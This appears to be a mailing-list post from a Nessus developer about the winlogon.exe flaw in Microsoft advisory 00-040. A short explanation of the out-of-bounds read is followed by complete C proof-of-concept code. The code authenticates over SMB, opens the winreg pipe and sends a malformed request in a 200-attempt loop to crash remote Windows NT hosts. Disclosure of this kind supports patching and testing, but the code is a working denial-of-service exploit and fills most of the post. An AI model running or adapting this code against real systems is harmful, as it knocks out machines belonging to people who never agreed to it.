Hi, Since the release of MS advisory 00-040, I was asked by various persons more details about the bug described in it. This bug allows a user of a local network to crash winlogon.exe remotely. Here is a proof of concept code which will hopefully reproduce the problem. Nessus users have had this available as a .nasl script for a few days now, so I have translated the code to ugly C for the others (yes, we, Nessus developers, are open-minded). A quick sum up is that at some place in the winlogon.exe code, there was some instruction like : value = ptr[length]; where 'ptr' is a ptr to the received packet, and 'length' is a variable which is somewhere in the packet. By malforming the proper request, it is possible to make the code execute value = ptr[0xFFFF]; Which *may* cause an application error in winlogon.exe. This will pop up a Dr. Watson error dialog, and will crash NT as soon as the dialog is validated. There are some "random" conditions that are necessary to make this code work. This means: 100% success is not garanteed. So don't bug me if that does not work for you. Please read MS advisory 00-040 for patch information. -------{ cut here }------------------------------------------------------- /* * crash_winlogon.c * * by Renaud Deraison - deraison@cvs.nessus.org * * This code is released under the GNU General Public License. * (thanks for respecting this license) * * In case you are wondering, here is the motto I applied for this code : * * "Structures are for sissies" */ #include <stdio.h> #include <stdlib.h> #ifdef WIN32 #include <windows.h> #define bzero(x,y) memset(x, 0, y) #else #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <ctype.h> #define closesocket(x) close(x) #endif char * netbios_name(char * orig) { int i, len; char * ret = malloc(40); bzero(ret, 40); len = strlen(orig); for(i=0;i<16;i++) { if(i >= len) strcat(ret, "CA"); else { int odiv, omod; odiv = (orig[i] / 16) + 'A'; omod = (orig[i] % 16) + 'A'; ret[strlen(ret)]=odiv; ret[strlen(ret)]=omod; } } return(ret); } char * netbios_redirector() { int i; char * ret = malloc(31); bzero(ret, 31); for(i=0;i<15;i++)strcat(ret, "CA"); strcat(ret, "AA"); return(ret); } char* unicode(char * data) { int len = strlen(data); int i; char * ret = malloc(110); int l = 0; bzero(ret,110); for(i=0;i<len;i++) { ret[i*2] = data[i]; } if(len & 1){ ret[len*2+7] = 0x19; ret[len*2+9] = 0x02; } else { ret[len*2+8] = 0x19; ret[len*2+10] = 0x02; } return(ret); } char * smb_session_request(soc, remote) int soc; char* remote; { char * nb_remote = netbios_name(remote); char * nb_local = netbios_redirector(); char * request = malloc(400); u_char req_head[] = {0x81, 0x00, 0x00, 0x48, 0x20}; u_char req_body[] = {0x00, 0x20}; u_char * answer = malloc(400); int n; bzero(request, 400); memcpy(request, req_head, 5); memcpy(request+5, nb_remote, strlen(nb_remote)); memcpy(request+5+strlen(nb_remote), req_body, 2); memcpy(request+5+strlen(nb_remote)+2, nb_local, strlen(nb_local)); send(soc, request, 5+strlen(nb_remote)+strlen(nb_local)+2+1, 0); bzero(answer, 400); n = recv(soc, answer, 400, 0); if(answer[0]==0x82)return(answer); else return(NULL); } char * smb_neg_prot(soc) int soc; { char * r; u_char neg_prot[] = {0x00,0x00, 0x00, 0x89, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x4D, 0x49, 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B, 0x53, 0x20, 0x31, 0x2E, 0x30, 0x33, 0x00, 0x02, 0x4D, 0x49, 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00 }; send(soc, neg_prot, sizeof(neg_prot), 0); r = malloc(4000); bzero(r, 4000); recv(soc, r, 4000, 0); if(!r[9])return(r); else return(NULL); } char * smb_session_setup(soc, login, password) int soc; char * login, * password; { int len = strlen(login) + strlen(password) + 57; int bcc = 2 + strlen(login) + strlen(password); int len_hi = len / 256, len_low = len % 256; int bcc_hi = bcc / 256, bcc_lo = bcc % 256; int pass_len = strlen(password) + 1; int pass_len_hi = pass_len / 256, pass_len_lo = pass_len % 256; u_char req[] = {0x00,0x00, len_hi, len_low, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x04, 0x11, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, pass_len_lo, pass_len_hi, 0x00, 0x00, 0x00, 0x00, bcc_lo, bcc_hi}; char * r; char * s; s = malloc(5000); bzero(s, 5000); memcpy(s, req, sizeof(req)); memcpy(s+sizeof(req), password, strlen(password)+1); memcpy(s+sizeof(req)+strlen(password)+1, login, strlen(login)+1); send(soc, s, sizeof(req)+strlen(password)+1+strlen(login)+1, 0); free(s); r = malloc(4000); bzero(r, 4000); recv(soc, r, 4000, 0); if(!r[9])return(r); else return(NULL); } char * smb_tconx(soc, name, uid) int soc; char * name; int uid; { int high = uid / 256; int low = uid % 256; int len = 55 + strlen(name) + 1; int ulen = 13 + strlen(name); u_char req [] = {0x00, 0x00, 0x00, len, 0xFF, 0x53, 0x4D, 0x42, 0x75, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, low, high, 0x00, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, ulen, 0x00, 0x00, 0x5C, 0x5C}; u_char req2[] = {0x5C, 0x49, 0x50, 0x43, 0x24, 0x00, 0x49, 0x50, 0x43, 0x00}; char * s = malloc(4000); bzero(s, 4000); memcpy(s, req, sizeof(req)); memcpy(s+sizeof(req), name, strlen(name)); memcpy(s+sizeof(req)+strlen(name), req2, sizeof(req2)); send(soc, s, sizeof(req)+sizeof(req2)+strlen(name), 0); bzero(s, 4000); recv(soc, s, 4000, 0); if(!s[9])return(s); else return(NULL); } char * smbntcreatex(soc, uid, tid) int soc, uid, tid; { u_char tid_high = tid / 256, tid_low = tid % 256; u_char uid_high = uid / 256, uid_low = uid % 256; char* r; u_char req[] = {0x00, 0x00, 0x00, 0x5B, 0xFF, 0x53, 0x4D, 0x42, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x50, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high, 0x00, 0x00, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9F, 0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x5C, 0x77, 0x69, 0x6e, 0x72, 0x65, 0x67, 0x00}; send(soc, req, sizeof(req), 0); r = malloc(4000); bzero(r, 4000); recv(soc, r, 4000, 0); if(!r[9])return(r); else return(NULL); } char * pipe_accessible_registry(soc, uid, tid, pid) int soc, uid, tid, pid; { u_char tid_low = tid % 256, tid_high = tid / 256; u_char uid_low = uid % 256, uid_high = uid / 256; u_char pipe_low = pid % 256, pipe_high = pid / 256; u_char req[] = { 0x00, 0x00, 0x00, 0x94, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x1B, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high, 0x00, 0x00, 0x10, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x00, 0x48, 0x00, 0x4C, 0x00, 0x02, 0x00, 0x26, 0x00, pipe_low, pipe_high, 0x51, 0x00, 0x5C, 0x50, 0x49, 0x50, 0x45, 0x5C, 0x00, 0x00, 0x00, 0x05, 0x00, 0x0B, 0x00, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x16, 0x30, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0xd0, 0x8c, 0x33, 0x44, 0x22, 0xF1, 0x31, 0xAA, 0xAA, 0x90, 0x00, 0x38, 0x00, 0x10, 0x03, 0x01, 0x00, 0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C, 0xc9, 0x11, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00}; u_char * r; send(soc, req, sizeof(req), 0); r = malloc(4000); bzero(r, 4000); recv(soc, r, 4000, 0); if(!r[9])return(r); else return(NULL); } char * registry_access_step1(soc, uid, tid, pid) int soc, uid, tid, pid; { u_char tid_low = tid % 256, tid_high = tid / 256; u_char uid_low = uid % 256, uid_high = uid / 256; u_char pipe_low = pid % 256, pipe_high = pid / 256; u_char * r; u_char req[] = {0x00, 0x00, 0x00, 0x78, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x03, 0x80, 0x1D, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high, 0x00, 0x00, 0x10, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x24, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26, 0x00, pipe_low, pipe_high, 0x35, 0x00, 0x00, 0x5c, 0x00, 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0xFF, 0x12, 0x00, 0x30, 0x39, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02}; send(soc, req, sizeof(req), 0); r = malloc(4000); bzero(r, 4000); recv(soc, r, 4000, 0); if(!r[9])return(r); else return(NULL); } void crash_winlogon(soc, uid, tid, pid, key, reply) int soc, uid, tid, pid; char * key, * reply; { int key_len = strlen(key) + 1; int key_len_hi = key_len / 256; int key_len_lo = key_len % 256; int tid_low = tid % 256; int tid_high = tid / 256; int uid_low = uid % 256; int uid_high = uid / 256; int pipe_low = pid % 256; int pipe_high = pid / 256; char * uc = unicode(key); int len_uc = 100; int len = 148 + len_uc; int len_hi = len / 256; int len_lo = len % 256; int z = 40 +len_uc; int z_lo = z % 256; int z_hi = z / 256; int y = 81 + len_uc; int y_lo = y % 256; int y_hi = y / 256; int x = 64 + len_uc; int x_lo = x % 256; int x_hi = x / 256; int n; u_char req[] = { 0x00, 0x00, len_hi, len_lo, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x03, 0x80, reply[16], reply[17], 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,tid_low, tid_high, 0x00, 0x28, uid_low, uid_high, 0x00, 0x00, 0x10, 0x00, 0x00, x_lo, x_hi, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, x_lo, x_hi, 0x54, 0x00, 0x02, 0x00, 0x26, 0x00, pipe_low, pipe_high, y_lo, y_hi, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x00, 0xb9, 0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, x_lo, x_hi, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, z_lo, z_hi, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00}; int x2 = 65535; /* XXXXXX */ int x2_lo = 0xFF, x2_hi = 0xFF; u_char req2[] = {x2_lo, x2_hi, 0x0A, 0x02, 0x00, 0xEC, 0xFD, 0x7F, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, key_len_lo, key_len_hi, 0x00, 0x00}; char * crashme = malloc(4000); char a[] = {0xFF, 0xFF}; bzero(crashme, 4000); memcpy(crashme, req, sizeof(req)); memcpy(crashme+sizeof(req), &(reply[84]), 20); memcpy(crashme+sizeof(req)+20, req2, sizeof(req2)); memcpy(crashme+sizeof(req)+20+sizeof(req2), uc, len_uc); if((n = send(soc, crashme, len+4, 0))<0) { perror("send "); } } int smbntcreatex_extract_pipe(reply) char * reply; { return(reply[43]*256+reply[42]); } int tconx_extract_tid(reply) char * reply; { return(reply[29]*256+reply[28]); } int session_extract_uid(reply) char * reply; { int low, high; low = reply[32]; high = reply[33]; return((high*256)+low); } #define error() _error(__LINE__) void _error(int line) { printf("Error at line %d\n", line); exit(1); } int main(argc, argv) int argc; char * argv[]; { char * r; int soc; struct sockaddr_in sin; int uid, tid, pid; char * name; char * ip; char * login, * password; int i; #ifdef WIN32 WSADATA winSockData; WSAStartup(0x0101, &winSockData); #endif if(argc < 3) { printf("Usage : winlogon host_ip netbios_name login [password]\n"); exit(1); } name = strdup(argv[2]); for(i=0;i<strlen(name);i++)name[i] = toupper(name[i]); ip = strdup(argv[1]); login = strdup(argv[3]); if(argv[4])password = strdup(argv[4]); else password = ""; printf("ip : %s\n", ip); printf("name : %s\n", name); printf("login : %s\n", login); printf("password : %s\n", password); for(i=0;i<200;i++) { soc = socket(AF_INET, SOCK_STREAM, 0); if(soc < 0)error(); bzero(&sin, sizeof(sin)); sin.sin_port = htons(139); sin.sin_addr.s_addr = inet_addr(ip); sin.sin_family = AF_INET; connect(soc, (const struct sockaddr*)&sin, sizeof(sin)); r = smb_session_request(soc, name); if(!r)error();free(r); r = smb_neg_prot(soc); if(!r)error();free(r); r = smb_session_setup(soc, login, password); if(!r)error(); uid = session_extract_uid(r);free(r); r = smb_tconx(soc, name, uid); if(!r)error(); tid = tconx_extract_tid(r);free(r); r = smbntcreatex(soc, uid, tid); if(!r)error(); pid = smbntcreatex_extract_pipe(r);free(r); r = pipe_accessible_registry(soc, uid, tid, pid); if(!r)error();free(r); r = registry_access_step1(soc, uid, tid, pid);if(!r)error(); crash_winlogon(soc, uid, tid, pid, "x", r); shutdown(soc, 2); closesocket(soc); } #ifdef WIN32 WSACleanup(); #endif return 0; } ----{ cut here }---------------------------------------------------------- -- Renaud -- Renaud Deraison The Nessus Project http://www.nessus.org